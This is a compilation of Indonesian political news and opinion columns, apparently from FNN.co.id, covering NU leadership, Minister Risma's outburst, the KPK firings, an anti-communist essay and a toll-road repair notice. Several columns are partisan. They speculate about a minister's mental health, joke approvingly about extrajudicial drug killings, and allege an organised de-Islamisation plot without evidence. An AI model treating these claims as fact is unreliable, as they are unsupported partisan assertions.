yang saya buat dengan guru saya. Dengan didampingi salah satu putri Almarhum Gus Dur, Mbak Yenny Wahid,” kata Luhut, seperti dikutip dari akun sosial media Facebook, Kamis (21/1/2021). Menurut Luhut, tanah yang terletak di kawasan Jonggol itu merupakan milik Trenggono Ting, yang sebelumnya pernah menjabat sebagai Presiden Komisaris PT Sentul City. Luhut mengaku bahwa selama beberapa waktu saya mencari lahan/tanah yang pas untuk pembangunan Universitas Nahdlatul Ulama Indonesia ini, sampai kemudian dalam satu kesempatan ia bertemu Trenggono Ting. “Saat bertemu lagi dengan teman saya bapak Trenggono Ting, pemilik PT Sentul City dan saya mengusulkan kepada beliau supaya menghibahkan tanahnya untuk dijadikan universitas NU,” jelas Luhut. Luhut ingin pembangunan infrastruktur tersebut tidak hanya membangun pendidikan fisiknya saja, “tetapi juga membangun pendidikan manusia khususnya warga Nahdliyin secara keseluruhan,” ujarnya. Kembali kepada Prof Rochmat Wahab, kondisi seperti ini berpotensi besar munculnya praktek politik uang. Padahal, ini harusnya kita lawan. Dan, ini sesuai keinginan kita membangun peradaban baru yang menjadi komitmen NU dalam memasuki Abad ke-2 kelahiran NU. “Sekarang ini momentumnya. Sangat tepat, bagi generasi muda NU (untuk) mengambil-alih estafet kepemimpinan NU ke depan. Bersihkan politik uang dalam segala proses suksesi kepemimpinan NU di semua level,” ujatnya. Jika kita bisa mewujudkan bersama-sama, maka, ini kontribusi besar bagi terbangunnya NU yang sejalan dengan Khitthah NU. Sekarang, lanjutnya, semua kader NU punya hak mencalonkan dan dicalonkan. “NU sebagai institusi membangun peradaban tinggi. Butuh kepemimpinan berintegritas, tanpa dibebani dosa masa lalu yang semakin menggurita,” terangnya. Sekarang, semua kader NU punya hak mencalonkan dan dicalonkan. Saat ini adalah waktu yang tepat melakukan filter atas calon-calon yang akan membangun NU ke depan. Sekaligus memberikan dukungan kepada kader-kader potensial yang bisa mengakselerasi kemajuan NU di masa-masa yang semakin sulit, di tengah-tengah era disrupsi (perubahan besar-besaran) ini. Tak kalah penting lagi, Prof Rochmat Wahab juga menyinggung pimpinan PBNU yang suka ‘liar’ mengobral wacana dan membingungkan umat. Ini bisa berakibat fatal, karena masih kacaunya pemahaman atas agama. Sangat merepotkan nahdliyin dalam menjaga martabat NU. Pimpinan NU itu kalau bicara harus memilih diksi yang tepat dalam mengartikulasikan gagasannya. “Jangan hanya ingin seperti Gus Dur, tetapi kecerdasan tidak sama dengan Gus Dur. Akibatnya, banyak kalimat yang tidak argumentatif (itu), justru membingungkan umat,” pungkasnya. (Bersambung) Penulis adalah Wartawan FNN.co.id

Mensos Risma Salah Jabatan, Dia Bagus Pimpin Bakamla, BNN, atau Satpol PP

By Asyari Usman KELIHATANNYA Presiden Joko Widodo (Jokowi) tidak memahami keinginan Tri Rismaharini. Beliau ini tampaknya lebih cocok memimpin lembaga atau instansi yang lingkup tugasnya keras-keras. Misalnya, Bakamla (Badan Keamanan Laut), BNN (Badan Narkotika Nasional), atau bahkan Satpol PP. Kecocokan jabatan ini terlihat dari karakter Bu Mensos yang telah ditunjukkannya sejak duduk sebagai walikota Surabaya. Watak utama Bu Risma adalah marah-marah. Terutama di depan kamera. Terakhir, Risma mengamuk di tengah rapat dengan pemprov Gorontalo, beberapa hari lalu (1/10/2021). Seorang pemdamping penyaluran Bansos, entah bagaimana, mengatakan bahwa Kemensos menghapus data Bansos yang kemudian menyebabkan distribusi tak tepat sasaran. Risma langsung naik pitam. Dan mengucapkan “Tak tembak kamu, ya!” (Saya tembak kamu, ya!). Mungkin Risma setengah bercanda soal “Tak tembak kamu, ya!”. Tetapi, bisa juga serius. Nah, kalau serius dan Risma kebetulan sedang pegang pistol atau AK-47, RPG, dlsb, tentu tak terbayangkan peristiwa yang akan terjadi. Bisa selesai semua peserta rapat. Marah bertensi tinggi sudah berkali-kali dipamerkan oleh Bu Risma. Tapi, apakah ini tidak baik? Kalau dilihat sepintas memang tidak baik. Karena itu, beliau harus diistirahatkan. Namun, kalau dilihat dari kebutuhan lain pemerintah dalam upaya menegakkan kedaulatan negara, memberantas ancaman bangsa, atau upaya untuk merapikan jalan raya dan pasar, maka sesungguhnya Bu Risma sangat potensial untuk diberi jabatan lain. Bu Risma tak suka duduk sebagai pejabat di belakang meja. Dia tidak nyaman duduk di kantor berjam-jam. Dia tidak bisa diam kalau melihat suasana lalulintas dan pasar yang semrawut. Karena itu, Pak Jokowi perlu segera melakukan perombakan kabinet. Tempatkan Bu Risma sebagai Kepala Bakamla. Instruksikan agar dia segera pergi ke Kepulauan Natuna. Laporan-laporan media menyebutkan banyak sekali kapal ikan China (RRC) ukuran besar mengacak-acak laut utara Natuna. Mereka bagaikan tak menghiraukan kedaulatan Indonesia di sana. Kalau marah-marah Bu Risma disalurkan di laut Natuna dan Laut China Selatan (LCS), dijamin ratusan atau ribuan kapal China dan Vietnam itu akan tunggang-langgang melarikan diri. Sebab, Bu Risma tidak akan sekadar ancam “Tak tembak kamu, ya!” Beliau pastilah akan langsung berondong kapal-kapal pencuri ikan itu. Jabatan keras lainnya untuk beliau adalah Kepala BNN. Ancaman narkoba terhadap bangsa ini sangat menyeramkan. Ada lebih empat juta pemakai. Para Bandar narkoba demikian kuat dan berkuasa. Mereka selalu bisa lolos dalam kejaran. Entah kenapa. Ratusan atau mungkin ribuan oknum penegak hukum terlibat kejahatan narkoba. Bayangkan kalau Bu Risma duduk sebagai Kepala BNN. Pasti bergelimpangan para bandar sabu yang selama ini bebas-lepas merusak bangsa ini. Bu Risma tidak akan ancam-ancam tembak saja. Dia akan hancurkan jaringan narkoba yang terkenal kuat itu. Zero toleransi seperti di Filipina. BNN adalah salah satu penyaluran positif watak marah-marah Bu Risma. Tempat terbaik lainnya untuk Bu Mensos adalah KPK. Di sini pun Bu Risma bisa sangat dahsyat. Kawan-kawan beliau di PDIP pasti akan takut mengikuti jejak Juliari Batubara. Dijamin Bu Risma akan marah-marah ke Jokowi karena KPK dikebiri. Dia juga akan memarahi Bu Mega yang membiarkan UU KPK direvisi oleh DPR, termasuk fraksi PDIP. Ada satu lagi posisi yang juga cocok. Yaitu, kepala Satpol PP. Tapi jangan pula Satpol PP kabupaten/kota. Buatkan Satpol PP internasional. Supaya Bu Risma bisa menutup pasar-pasar yang menjual binatang eksotik (kelelawar, ular, lipan, dll) seperti di Wuhan itu. Yang diduga menjadi sumber virus Covid-19. Di dalam negeri, Bu Risma sebagai kepala Satpol PP akan menertibkan dengan keras para pedagang yang menggunakan badan jalan. Juga membasmi bangunan liar. Tugas ini tidak mudah. Perlu orang yang cepat marah seperti Bu Mensos.[] (Penulis wartawan senior FNN)

Pita Putih di Lengan, Bagai Menyambut Oposan dengan Karpet Merah

Oleh Ady Amar *) PEEMINTAAN Amien Rais pada sahabatnya, Syafii Maarif, pada suatu kesempatan tampaknya bersambut. Permintaan agar Pak Syafii lebih berani bersikap tegas... Istilah Pak Amien, lebih sering benahi hal yang mungkar. Jangan hanya amar ma'ruf saja. Apakah permintaan Pak Amien, itu yang lalu membuat Pak Syafii bersikap, atau memang sikap itu keluar dari dirinya, tanpa kendali orang lain. Bersikap lantaran tidak tahan melihat pegawai KPK dipecat dengan sewenang-wenang. Menanggapi pemecatan 57 pegawai KPK, memaksa Pak Syafii berkomentar yang lebih "nahi mungkar". Ia menyebut, bahwa sebenarnya keputusan untuk melakukan pemecatan terhadap Novel Baswedan cs. itu memang tidak beres sejak awal. Menurutnya, Tes Wawasan Kebangsaan (TWK) dalam hal ini cuma digunakan alasan saja. Tambahnya, perlakuan terhadap pegawai KPK itu kental dengan nuansa dimensi politik tertentu. Pak Syafii memang tidak sampai meminta Presiden Joko Widodo (Jokowi) untuk bersikap tegas. Mengambil peran yang dipunya, menganulir keputusan pemecatan para pegawai KPK dengan bersandar pada temuan Ombudsman dan Komnas HAM. Ombudsman telah menemukan banyak kecacatan administrasi, serta didapati sejumlah temuan pelanggaran hak asasi manusia oleh Komnas HAM. Entah mengapa Presiden Jokowi tidak bersandar pada temuan dua lembaga kredibel itu. Diamnya itu bisa dibaca, ia bersepakat dengan pimpinan KPK dengan langkah pemecatan itu. Meski tidak sampai mendesak Presiden Jokowi, setidaknya Pak Syafii telah bersikap, bahwa ada ketidakadilan dalam proses pemecatan pegawai KPK, dan itu sarat politik. Tanggapannya itu sudah cukup menjelaskan sikap beliau ada di mana. Jangan meminta berlebih pada Pak Syafii. Skenario Tuhan Nafsu pimpinan KPK menyingkirkan mereka, itu bisa terlihat dengan jadwal pemecatan yang semula berakhir tanggal 1 November, dimajukan tanggal 30 September 2021. Tanggal dan bulan pilihan Firli Bahuri, Ketua KPK dan komisioner lainnya pada tanggal 30 September, mengingatkan pada peristiwa kelam mengerikan, peristiwa G30S/PKI. Peristiwa dibantainya 7 Jenderal dan 1 perwira oleh PKI. Tampaknya mereka khilaf memakai tanggal dan bulan itu. Atau bisa jadi itu skenario Tuhan, yang menyamakan pemecatan itu dengan peristiwa kelam negeri ini. Pilihan tanggal dan bulan pemecatan itu menegaskan, adanya "pembunuhan" atas mereka yang mendedikasikan diri pada pemberantasan korupsi, yang dibalas dengan pemecatan sewenang-wenang. Meminjam istilah Pak Syafii Maarif, "kental dengan nuansa dimensi politik". Presiden Jokowi memang tidak bersikap atas pemecatan 57 pegawai KPK itu. Tapi dihari akhir tanggal pemecatan, lewat Kapolri ada tawaran pada pegawai KPK yang tidak lulus TWK, yang akan ditampung di Polri sebagai ASN. Itu konon ide murni Presiden Jokowi. Tawaran itu tampaknya belum direspons pegawai KPK, bersedia atau tidaknya mereka dengan tawaran itu. Tawaran itu memang bukan solusi yang mengenakkan. Mereka yang dipecat itu tidak sedang mencari pekerjaan, tapi melawan kesewenang-wenangan pemecatan dengan dalih tidak lulus TWK. Pita Putih di Lengan Pegawai KPK yang dipecat itu mengenakan pitah putih di lengan kiri, dan bunga mawar di tangan sebagai simbol matinya semangat pemberantasan korupsi di Indonesia. Pemandangan itu tampak di hari akhir mereka harus meninggalkan markas KPK. Tragis memang, mereka yang berdiri di garis paling depan dalam upaya pemberantasan korupsi harus tersingkir. Pemandangan menyesakkan tampak saat pegawai KPK yang lulus TWK, melepas kawan yang "dikorbankan" dengan mengharukan. Lambaian tangan tanda perpisahan, dengan suara lirih terucap, "Sampai jumpa teman-teman..." Tampak diantara mereka ada yang menyeka air mata. Mereka yang tersingkir itu sejatinya pahlawan. Mengabdi belasan tahun dengan sarat prestasi, tapi jasanya diakhirkan dengan pemecatan semena-mena. Akal sehat menyebut, mereka memang tidak diinginkan. Muncul rumor, itu kemenangan lobi dari mereka yang ingin melemahkan KPK. Dimulai dari revisi UU KPK, dan berlanjut pada "dibabatnya" pegawai KPK yang bekerja sepenuh hati, dan itu lewat pintu TWK. Mereka yang dipecat itu, pastilah akan tetap konsen bekerja untuk pemberantasan korupsi. Entah dengan cara apa dan di mana mereka akan bergerak. Medan juang pada proyek kebaikan, itu tidaklah hanya dibatasi oleh tembok dalam gedung KPK. Di luar gedung KPK karpet merah dibentangkan, disediakan untuk mereka melangkah dan bahkan menari bersama elemen bangsa lainnya, yang memilih berseberangan sebagai penyeimbang pemerintah pada kebijakan-kebijakan yang dibuat. Itu setelah parlemen bersetubuh erat dengan kekuasaan, sulit bisa diharapkan fungsi kontrolnya menajam. Kelompok penyeimbang, biasa orang menyebut oposan, seolah mendapat amunisi dengan hadirnya 57 pegawai KPK yang terzalimi. Berharap mampu menggerakkan kesadaran masyarakat akan hak-haknya. Selamat datang para pahlawan sebenarnya, selamat berjuang di tempat yang lebih luas untuk bersuara apa yang bisa disuarakan, yang suara itu mustahil tersekat, terkekang oleh tembok birokrasi. (*) *) Kolumnis

Risma Perlu Beristirahat ke Pantai

By M Rizal Fadillah TIDAK bisa berubah karakter nih orang sejak menjabat Walikota hingga menjadi Menteri Sosial, marah marah melulu sehingga kegaduhan demi kegaduhan selalu terjadi. Di Bandung marah-marah, di Tangerang marah marah, dan terakhir di Gorontalo marah-marah pula. Rasanya setiap datang ke suatu daerah maka siap siap untuk menerima semprot dan wajah buram Bu Risma. Di Gorontalo aktingnya lebih dahsyat pake tunjuk-tunjuk dan teriak tembak segala, lalu menyuruh keluar bawahannya itu. Gubernur Rusli Habibie tidak dapat menerima sikap Risma yang dinilai kurang adab. Ia keberatan warganya dimaki-maki dan dinistakan. Risma memang keterlaluan. Orang tentu bertanya apakah ini adalah cara mendidik, atau tidak mampu mengendalikan emosi, atau memang sakit ? Untuk kaitan dengan adab hal ini sudah dinilai "su'ul adab" (adab buruk) yang tidak pantas untuk dilakukan oleh seorang pemimpin. Pemimpin seyogyanya arif dan bijaksana. Kehebatan tidak diukur oleh kerasnya teriakan dan panjangnya telunjuk. Kini Risma seperti biasa ramai dikecam publik. Adab kewanitaan, adab sosial, dan adab kepemimpinan dipersoalkan. Jokowi pun didesak untuk memecat pembantunya yang gemar marah-marah ini. Setelah Juliari Batubara menjadi pesakitan di Lapas karena kasus korupsi kini penggantinya didesak agar segera out. Kalau Presiden diam saja atau tidak mereaksi atas kekecewaan dan desakan publik ini, maka pilihan menjadi pecat Risma atau pecat Jokowi. Dahulu rekor kepemimpinan marah marah dipegang Ahok, kini nampaknya Risma mampu memecahkannya. Dalam ilmu kesehatan marah meledak-ledak adalah ciri dari gangguan mental. Bisa stress atau depresi. Nah Risma perlu menenangkan fikiran sejenak, Presiden Jokowi hendaknya menganjurkan agar Risma untuk berekreasi ke pantai atau hiking ke gunung. Lupakan Bansos dulu. Berfoto-foto selfi lah. Itu jika tidak mampu untuk memecat Menteri dari PDIP tersebut. Akan tetapi sebenarnya rakyat akan lebih bahagia jika memang Risma segera dirumahkan. Berhentikan. *) Pemerhati Politik dan Kebangsaan

Marah-marah ke Pendamping PKH, Mahfuz: Sikap Mensos Risma Tidak Pancasilais

Jakarta, FNN - Aksi marah-marah Menteri Sosial (Mensos) Tri Rismaharini kepada seorang Pendamping Keluarga Harapan (PKH) di Gorontalo pada Jumat (1/10/2021) viral di media sosial. Sebuah video singkat memperlihatkan aksi Mensos Risma marah-marah ketika rapat bersama pejabat Provinsi Gorontalo terkait distribusi bantuan sosial (bansos). Mensos Risma terlihat mengacungkan pena pada seorang pendamping PKH di Gorontalo ketika pihaknya dituding disebut mencoret data penerima bansos sehingga bantuan tak tepat sasaran. Pendamping PKH tersebut kemudian didatangi Mensos Risma. Lalu, Risma mengarahkan pulpennya ke dada petugas itu sambil berkata keras. “Jadi bukan kita coret ya! Kamu tak tembak ya, tak tembak kamu!” Perilaku Mensos Risma sontak mengundang reaksi banyak pihak di berbagai media, termasuk Gubernur Gorontalo, Rusli Habibie. Mereka menyatakan keprihatinannya terhadap Mensos Risma yang selalu mengedepankan emosionalnya, ketimbang persuasif dalam bekerja Menanggapi hal ini, Sekretaris Jenderal (Sekjen) Partai Gelombang Rakyat (Gelora) Mahfuz Sidik menilai sikap Mensos Risma adalah contoh seorang pemimpin yang tidak Pancasilais. "Tidak pantas sama sekali. Bukan perilaku pemimpin pemerintahan. Contoh perilaku tidak Pancasilais!" kata Mahfuz. Mahfuz menjelaskan, bahwa masyarakat saat ini banyak sedang mengalami kesulitan hidup akibat pandemi covid-19 dan PPKM, terutama tekanan ekonomi. Karena itu, masyarakat juga diliputi perasaan sedih, cemas, kecewa dan marah terhadap situasi yang penuh ketidakpastian ini. "Maka wajar kalau petugas pendamping PKH curhat ke menterinya. Terus kenapa harus marah? Kenapa harus berdiri mendatangi petugas sambil menunjuk pulpen ke petugas? Terus kenapa harus ancam mau tembak?" ujar Mahfuz. Apalagi menurut Mahfuz, peristiwa marah-marah Mensos Risma kepada pendamping PKH di Gorontalo tersebut, terjadi pada Jumat, 1 Oktober 2021 yang bertepatan Hari Kesaktian Pancasila tahun ini. "Saat masyarakat dihimbau pemerintah memperingati Hari Kesaktian Pancasila, eh malah menyaksikan perilaku seorang Mensos Risma yang tidak Pancasilais. Hal ini tentu saja kita sayangkan," tegasnya. Mantan Ketua Komisi I DPR RI Periode 2010-2017 menegaskan, bahwa sikap Mensos Risma tersebut, tidak mencerminkan Lima Sila yang ada di dalam Pancasila. "Apakah perilaku mensos Risma sejalan dengan kelima sila Pancasila itu?" paparnya. Mahfuz menjelaskan, agama telah mengajarkan untuk tidak mengedepankan marah-marah, apalagi mengancam seseorang yang merupakan cerminan Sila Pertama Pancasila. Tindakan Mensos Risma itu, juga dinilai tidak mencerminkan Sila Kedua Pancasila yang seharusnya menghormati dan menghargai sesama, sekalipun dia rakyat kecil. Seharusnya mantan Walikota Surabaya itu, bisa menjaga komunikasi antar budaya agar tetap harmonis dan menyatu. Hal itu merupakan cerminan Sila Ketiga Pancasila. Sedangkan Sila Keempat Pancasila, lanjut Mahfuz, musyawarah dan mengedepankan hikmah dalam setiap menghadapi permasalahan. Selanjutnya, mengenai pengaduan pendamping PKH bahwa ada warga miskin di Gorontalo yang tidak lagi menerima bansos di rekeningnya, hal itu sebagai fitrah dan dimana letak kesalahannya? "Pendamping PKH yang bertugas dan bertanggungjawab soal itu, kemudian curhat ke Mensos Risma. Apa salahnya? Apakah itu fitrah? Saya kira sikap Menteri Sosial tersebut tidak mencerminkan keadlilan sosial," tegasnya. Sekjen Partai Gelora ini sependapat dengan Gubernur Gorontalo Rusli Habibie agar Presiden Joko Widodo (Jokowi) menegur dan mengevaluasi Mensos Risma. "Mungkin perlu juga dievaluasi oleh psikolog atau psikiater. Rakyat butuh pemimpin yang lembut, sabar dan mengayomi rakyatnya," pungkas Mahfuz. (sws)

Mengendus Bau Amis Komunis

Oleh: Yusuf Blegur Jangan sekali-sekali melupakan sejarah". Saat membahas dinamika politik dan pemerintahan, aksioma itu kerap terdengar melintasi waktu dan generasi. Bangsa yang besar adalah bangsa yang mau belajar dari sejarah dan menghargai para pahlawannya. Menjadi pertanyaan penting dan mendasar bagi negara dan bangsa ini. Bagaimana menyikapi sejarah yang penuh kontroversi dan catatan hitam putih para pelakunya?. Pada bagian dan sisi sejarah yang mana, rakyat dapat bersandar dan berpijak?. Dapatkah obyektifitas terlepas fakta baik dan buruk yang menyertainya, dapat diungkap dengan jujur?. Sepanjang kelahiran dan berdirinya Republik Indonesia, negara seakan tidak berdaya bahkan untuk sekedar menulis dan merangkai sejarah berdasarkan kenyataan yang sebenar-benarnya terjadi. Rakyat dari generasi ke generasi, tidak pernah mengenyam kemurnian sejarah. Penulisan dan pemahaman sejarah selama ini, sangat ditentukan oleh selera dan kepentingan kekuasaan yang silih berganti. Alhasil, banyak peristiwa dan tema-tema penting bersejarah menjadi pasar raya tafsir bagi rakyat pada umumnya dan generasi berikut khususnya. Penyusunan dokumentasi sejarah menjadi sangat penting, tak kalah hebat dengan penguasaan ekonomi, politik dan hukum bagi suatu pemerintahan. Selain menentukan arah perjalanan bangsa, rekayasa sejarah mutlak dibutuhkan kekuasaan untuk menjadi tafsir dan sejarah yang menguntungkan rezim kekuasaan tertentu usai melewati jamannya. Selain mengelola kehidupan negara dan rakyatnya, serta membentuk nilai-nilai peradaban. Kekuasaan atau suatu pemerintahan tidak bisa mengabaikan kemasan dari rangkaian perilaku dan peristiwa penting yang ditorehkannya. Sebagaimana ungkapan yang terkenal, "the winner take's it all". Termasuk menulis fakta atau manipulasi sejarah?. Sejarah Hitam Pengaruh dan Kekuatan Ideologi Sebagai sebuah negara bangsa yang majemuk. Indonesia tentu saja tak luput dari pertarungan ideologi dan aliran politik. Bukan saja telah mewarnai sejarah, faham-faham kebangsaan itu masih hadir dan menjadi realitas politik kekinian. Meskipun begitu, betapapun tingginya dinamika internal kebangsaan, Indonesia masih kental dalam pengaruh dan determinasi kekuatan global. Setidaknya terinternalisasi ideologi kapitalisme yang liberalistik dan sosialisme Marxis. Meskipun dunia telah melewati era perang dingin, banyak negara termasuk Indonesia belum mampu keluar dari jejak dan cengkeraman kedua kekuatan dunia tersebut. Runtuhnya Uni Soviet dan kebangkitan komunisme Tiongkok. Dalam wujud yang lebih modern dan populis. Sejatinya kapitalisme dan komunisme masih menjadi pemain yang sama dalam dominasi dan hegemoni tata pergaulan internasional. Indonesia sendiri masih menjadi sub koordinat dari polarisasi kekuatan blok barat dan blok timur yang pernah mengelola pertarungan ideologi pada masa perang dingin. Keadaan dunia hingga saat ini belum mengalami perubahan secara substansi terkait kedua ideologi besar itu, yang berujung pada praktek-praktek kolonialisme dan imperialisme modern. Meski tampil lebih menyesuaikan jaman seiring perkembangan ilmu pengetahuan, teknologi dan populasi dunia. Kedua kekuatan yang direpresentasikan oleh persaingan Amerika Serikat dan RRT beserta para sekutunya masing-masing. Kini bertransformasi dalam "proxy war" dan perang asimetris. Indonesia menjadi negara yang tidak luput dari konstelasi itu. Pola pemerintahan yang berada dalam kekuasan oligarki dan borjuasi korporasi skala besar dan transnasional menjadi indikator bahwa negara sudah dalam pengaruh perang penguasaan ekonomi, politik, sosial dan budaya. Perang memperebutkan sumber daya alam, sumber daya manusia dan sumber daya ekonomi lainnya. Menjadikan kekuatan baik oleh negara maupun "non state". Membatasi ruang gerak rakyat dan menutup akses pada pengambilan kebijakan publik. Rakyat hanya diorientasikan sebagai pasar. Kondisi demikian memaksa pemerintah atau otoritas negara melumpuhkan demokrasi, mengebiri HAM, dan mengusung hukum yang berlandaskan kekuasan otoriterian dan kediktatoran. Kedua ideologi kontemporer dunia itu, bukan hanya menjadikan manusia berorientasi pada materialisme. Lebih dari itu, ideologi-ideologi yang menopang liberalisasi dan sekulerisasi. Telah mencabut akar relius dari setiap pikiran dan jiwa umat manusia. Populasi dunia dipaksa mengikuti satu aturan, dimana hanya ada penguasaan dari yang kuat kepada yang lemah. Superioritas kalangan kaya terhadap kaum miskin. Di pelbagai belahan dunia, hanya ada eksploitasi manusia atas manusia dan eksploitasi bangsa atas bangsa. Menempatkan harta, kekuasan dan kebendaan lainnya, menggantikan posisi Tuhan. Baik kapitalis dan sosialis, bercermin dari pengaruhnya pada proses penyelenggaraan kehidupan rakyat di Indonesia. Kedua ideologi besar itu terbukti gagal membangun negara kesejahteraan. Tidak mampu membangun masyarakat yang dapat memenuhi kemakmuran dan keadilan sosial. Bukannya kesejahteraan umum, kapitalisme yang rakus dan sosialisme yang atheis, justru menciptakan penderitaan dan kesengsaraan panjang rakyat Indonesia. Bercak Darah Komunisme Terlepas polemik sejarah dan kiprah sosialisme marxisme yang bermanifestasikan komunis. Partai Komunis Indonesia (PKI) memang menjadi salah satu kekuatan politik yang berpengaruh bagi Indonesia. Saat masih dalam koloni Belanda dan jepang, maupun setelah kemerdekaan. PKI menjadi entitas politik yang dianggap paling progresif revolusioner. Setidaknya oleh seorang Soekarno yang menjadi pemimpin dan menentukan arah perjalanan bangsa Indonesia, termasuk PKI. Kedekatan bahkan perlindungan Soekarno terhadap PKI. Menjadi hubungan 'simbiosis mutualisme' diantara keduanya. PKI ingin menghidupkan Indonesia dengan ideologinya, sementara Soekarno ingin melanggengkan kekuasaan sembari menggelorakan anti kapitalisme yang menjadi induk kolonialis-imperialisme dunia. Sebuah persentuhan ideologi dan hubungan yang intim antara Soekarno dan PKI. Kemesraan hubungan yang menguatkan ambisi gagasan 'Marcht Vorming' Soekarno. Sayangnya, konspirasi gerakan tanpa kelas berbasis pemikiran Karl Marx dengan nasionalis sekuler. Mendapat reaksi keras dan resistensi dari kekuatan militer khususnya angkatan darat dan kalangan Islam. Terlebih PKI juga pernah memiliki jejak rekam yang sangat buruk dan fatal. Pernah melakukan penghianatan terhadap perjuangan dan tujuan revolusi Indonesia. Memecah organisasi Serikat Islam dengan melahirkan faham komunis dan melakukan pemberontakan tahun 1926. Bahkan saat Indonesia baru saja merdeka dan masih menghadapi kekuatan fasis yang ingin menjajah kembali. PKI melakukan pemberontakan tahun 1948. Gerakan politik dan kekuatan bersenjata yang seperti menikam dari belakang bagi kemerdekaan RI yang baru seumur jagung. Bahkan yang paling memilukan pada saat tragedi G 30 S/PKI Tahun 1965. Apapun motif dan latar belakang peristiwanya. Betapapun peristiwa itu memunculkan multi tafsir dan asumsi konspirasi dibelakangnya. Semua pemberontakan dan penghianatan PKI yang ingin mengganti Panca Sila dan menjadikan Indonesia sebagai negara komunis. Bukan saja polarisasinya mengorbankan elit politik, militer dan pemimpin bangsa. Lebih tragis lagi, gerakan PKI telah memicu konflik, membuat konfigurasi dan irisan politik yang mengakibatkan korban rakyat tak berdosa. PKI menimbulkan permusuhan, konflik dan perpecahan sesama anak bangsa. Bahkan, hingga menyebabkan kematian rakyat yang tak terhingga. Peristiwa 1965 dan relasinya dengan PKI, menjadi salah satu tragedi kemanusiaan paling besar pada abad 20. PKI menjadi partai terlarang dan dianggap negara sebagai bahaya laten. Gerakan ideologi yang tak pernah mati. Tanpa bentuk dan menjalar ke segala lini. Kini, 56 tahun setelah peristiwa tahun 65. Suasana yang jauh dari nilai-nilai Panca Sila dan implementasi UUD 1945. Kehidupan bernegara dan berbangsa yang semakin terpinggirkan dari cita-cita proklamasi kemerdekaan. Rakyat Indonesia seperti kembali kepada masa-masa pertentangan ideologi dan politik seperti menjelang terjadinya peristiwa G 30 S/PKI. Kehidupan rakyat morat-marit, sementara para pemimpin sibuk mengurus jabatan dan memperkaya diri. Disintegrasi sosial semakin menganga lebar. Sikap permusuhan dan kebencian mewarnai hampir seluruh lapisan masyarakat. Penguatan Komunis juga disinyalir dengan maraknya kebijakan politik dan penggunaan aparatur negara yang bertindak represif dan cenderung memusuhi pemimpin dan umat Islam. Kriminalisasi Ulama dan umat Islam terus meningkat sejalan dengan pembiaran tindakan-tindakan penistaan dan penodaan agama Islam oleh kalangan tertentu. Mungkinkan selain kemiskinan dan ketidakadilan yang terus tajam meroket dalam kehidupan masyarakat. Penindasan dan upaya destruktif terhadap pemimpin dan umat Islam, menjadi siklus sejarah yang berulang dari kebangkitan komunis yang sangat anti Islam. Rasanya, seperti Amerika Serikat dan China yang kepentingannya terhadap Indonesia begitu besar. IIdeologi kapitalis dan komunis, keduanya sama-sama menganggap Islam adalah kekuatan yang besar yang menjadi musuh utama dan penghalang tujuan mereka. Jika saja para komprador dan agen kapitalis-komunis itu ada di Indonesia. Terutama ketika mereka berwujud politisi, birokrat, pengusaha bahkan sebagai ulama sekalipun. Mereka semua akan berkata tidak menginginkan populisme Islam berkembang luas. Mereka akan menyuruh ketaatan pada konstitusi ketimbang syariat Islam. Islam akan dianggap bertentangan dengan Pancasila dan sebagai penghambat kemajuan negara. Mereka akan menyuruh menjadi warga negara yang baik pada negara daripada mengamalkan nilai-nilai Islam. Mereka akan terus membangkitkan bagaimana rakyat hidup memisah relasi negara dari agama. Tentu saja dengan terus-menerus melakukan penangkalan aqidah umat Islam. Menyelimuti pikiran dan jiwa umat Islam dengan liberalisasi dan sekulerisasi. Upaya deislamisasi semakin gencar dan dirancang secara terstruktur, sistemik dan masif. Semua fenomena itu cepat atau lambat akan menjadi triger dan melahirkan perlawanan atau mungkin pemberontakan yang lebih hebat lagi. Akankan Indonesia kembali ke titik nadir seperti pada periode kelam dan hitam sebelumnya?. Mungkinkah akan ada tragedi kemanusiaan dan banjir darah yang lebih besar lagi?. Saatnya membuka mata hati dan pikiran. Sembari mengendus bau amis komunis. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Jasa Marga Perbaiki Dua Titik Tol Jakarta-Cikampek

Cikarang, Bekasi, FNN - PT Jasa Marga (Persero) memperbaiki dua titik jalan di Tol Ruas Jakarta-Cikampek dalam rangka meningkatkan keamanan dan kenyamanan pengguna jalan, sekaligus upaya perusahaan meningkatkan standar pelayanan minimal. General Manager Representative Office 1 Jasamarga Transjawa Tollroad Regional Division (JTTRD) Muhammad Taufik Akbar di Cikarang, Sabtu, mengatakan pekerjaan titik pertama rekonstruksi rigid pavement tersebut berada di Simpang Susun Karawang Barat. Tepatnya di Kilometer (KM) 47 STA 0+490 hingga STA 0+985 lajur 2 Ruas Jalan Tol Jakarta-Cikampek arah Cikampek dengan total panjang penanganan 190 meter yang dilaksanakan mulai Jumat (1/10) pukul 24.00 WIB hingga Senin (4/10) pukul 09.00 WIB. Pekerjaan titik kedua berada di KM 32+385 sampai KM 33+085 lajur 1 Ruas Jalan Tol Jakarta-Cikampek arah Cikampek dengan total panjang penanganan 439 meter yang akan dilaksanakan mulai Sabtu (2/10) pukul 20.00 WIB hingga Jum'at (8/10) pukul 24.00 WIB. "Tidak ada penutupan akibat pekerjaan ini, ruas Jalan Tol Jakarta-Cikampek arah Jakarta dan arah Cikampek masih beroperasi dan dapat dilalui secara normal," katanya. Jasa Marga menyiapkan mitigasi risiko di antaranya pengalihan arus lalu lintas yang terdampak sebelum area kerja, mempersempit area kerja, persiapan contra flow apabila kondisi lalu lintas kendaraan padat. Jasa Marga juga telah melakukan sosialisasi rencana pekerjaan dengan memasang media luar ruang berupa spanduk imbauan pekerjaan dan Variable Message Sign di Ruas Jalan Tol Jakarta-Cikampek arah Cikampek dan Jakarta untuk memastikan informasi ini diterima dengan baik oleh pengguna jalan. Pihaknya memohon maaf atas ketidaknyamanan yang ditimbulkan akibat adanya pekerjaan dimaksud sekaligus mengimbau pengguna jalan untuk tetap berada di rumah. Jika dalam keadaan darurat harus meninggalkan rumah, kata Taufik, tetap patuhi protokol kesehatan dan persyaratan perjalanan sesuai aturan pemerintah serta berhati-hati dan menaati rambu-rambu terutama di sekitar lokasi pekerjaan. Pengguna jalan tol dapat mengakses informasi lalu lintas jalan tol Jasa Marga Group melalui One Call Center 24 jam di nomor 14080 dan aplikasi Travoy 3.0 untuk pengguna iOS dan Android. (mth)

Tingkatkan UMKM, Erick Thohir Dorong Pelatihan Digital di Rumah BUMN

